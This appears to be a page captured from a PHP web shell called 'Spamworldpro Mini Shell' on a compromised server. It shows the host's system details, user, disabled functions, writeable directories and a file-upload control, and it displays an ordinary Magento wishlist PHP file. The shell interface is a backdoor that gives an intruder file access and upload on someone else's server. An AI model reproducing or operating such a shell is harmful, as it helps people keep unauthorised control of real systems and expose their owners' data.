Spamworldpro Mini Shell
Spamworldpro


Server : Apache
System : Linux server2.corals.io 4.18.0-348.2.1.el8_5.x86_64 #1 SMP Mon Nov 15 09:17:08 EST 2021 x86_64
User : corals ( 1002)
PHP Version : 7.4.33
Disable Function : exec,passthru,shell_exec,system
Directory :  /home/corals/old/vendor/magento/module-wishlist/ViewModel/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Current File : /home/corals/old/vendor/magento/module-wishlist/ViewModel/AllowedQuantity.php
<?php
/**
 * Copyright © Magento, Inc. All rights reserved.
 * See COPYING.txt for license details.
 */
declare(strict_types=1);

namespace Magento\Wishlist\ViewModel;

use Magento\Catalog\Controller\Adminhtml\Product\Initialization\StockDataFilter;
use Magento\Catalog\Model\Product\Configuration\Item\ItemInterface;
use Magento\CatalogInventory\Model\StockRegistry;
use Magento\Framework\View\Element\Block\ArgumentInterface;

/**
 * ViewModel for Wishlist Cart Block
 */
class AllowedQuantity implements ArgumentInterface
{
    /**
     * @var StockRegistry
     */
    private $stockRegistry;

    /**
     * @var ItemInterface
     */
    private $item;

    /**
     * @param StockRegistry $stockRegistry
     */
    public function __construct(StockRegistry $stockRegistry)
    {
        $this->stockRegistry = $stockRegistry;
    }

    /**
     * Set product configuration item
     *
     * @param ItemInterface $item
     * @return self
     */
    public function setItem(ItemInterface $item): self
    {
        $this->item = $item;
        return $this;
    }

    /**
     * Get product configuration item
     *
     * @return ItemInterface
     */
    public function getItem(): ItemInterface
    {
        return $this->item;
    }

    /**
     * Get min and max qty for wishlist form.
     *
     * @return array
     */
    public function getMinMaxQty(): array
    {
        $product = $this->getItem()->getProduct();
        $stockItem = $this->stockRegistry->getStockItem($product->getId(), $product->getStore()->getWebsiteId());
        $params = [];

        $params['minAllowed'] = (float)$stockItem->getMinSaleQty();
        if ($stockItem->getMaxSaleQty()) {
            $params['maxAllowed'] = (float)$stockItem->getMaxSaleQty();
        } else {
            $params['maxAllowed'] = (float)StockDataFilter::MAX_QTY_VALUE;
        }

        return $params;
    }
}

Spamworldpro Mini